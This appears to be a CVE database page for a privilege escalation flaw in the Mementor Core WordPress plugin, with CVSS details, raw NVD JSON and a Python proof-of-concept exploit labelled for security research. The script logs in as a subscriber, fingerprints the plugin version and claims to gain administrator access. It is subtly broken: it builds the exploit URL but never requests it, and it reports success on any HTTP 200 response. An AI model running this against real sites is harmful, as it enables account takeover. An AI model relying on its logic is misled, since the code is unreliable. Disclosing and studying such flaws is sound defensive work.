Security Vulnerability Report
中文
CVE-2025-11168 CVSS 8.8 HIGH

CVE-2025-11168

Published: 2025-11-11 04:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Mementor Core plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.2.5. This is due to plugin not properly handling the user switch back function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges by accessing an administrator account through the switch back functionality.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mementor Core plugin for WordPress < 2.2.5
Mementor Core plugin for WordPress <= 2.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-11168 PoC - Privilege Escalation in Mementor Core plugin # Target: WordPress site with Mementor Core plugin <= 2.2.5 def check_version(target_url): """Check if target is vulnerable by checking plugin version""" plugin_url = f"{target_url}/wp-content/plugins/mementor-core/readme.txt" try: response = requests.get(plugin_url, timeout=10) if 'Stable tag: 2.2.5' in response.text: return True except: pass return False def exploit_privilege_escalation(target_url, username, password): """Exploit the privilege escalation vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user (subscriber) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data) if 'wp-admin' not in response.url: print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Trigger user switch back vulnerability # The vulnerability allows low-privilege users to access admin functions exploit_url = f"{target_url}/wp-admin/admin.php?page=mementor_user_switch&action=switch_back" # Step 3: Attempt to access admin panel with elevated privileges admin_check = session.get(f"{target_url}/wp-admin/index.php") if 'dashboard' in admin_check.text.lower() or admin_check.status_code == 200: print("[+] Privilege escalation successful - Admin access obtained") return True print("[-] Exploitation failed - Target may be patched or not vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-11168.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing target: {target}") if check_version(target): print("[+] Target appears to be running vulnerable version") exploit_privilege_escalation(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11168", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:41.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Mementor Core plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.2.5. This is due to plugin not properly handling the user switch back function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges by accessing an administrator account through the switch back functionality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "http://plugins.trac.wordpress.org/browser/mementor-core/trunk/inc/functions.php#L1033", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/mementor-core/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2460e7c4-76dc-4bc3-bc06-b52df64f5353?source=cve", "source": "[email protected]"}]}}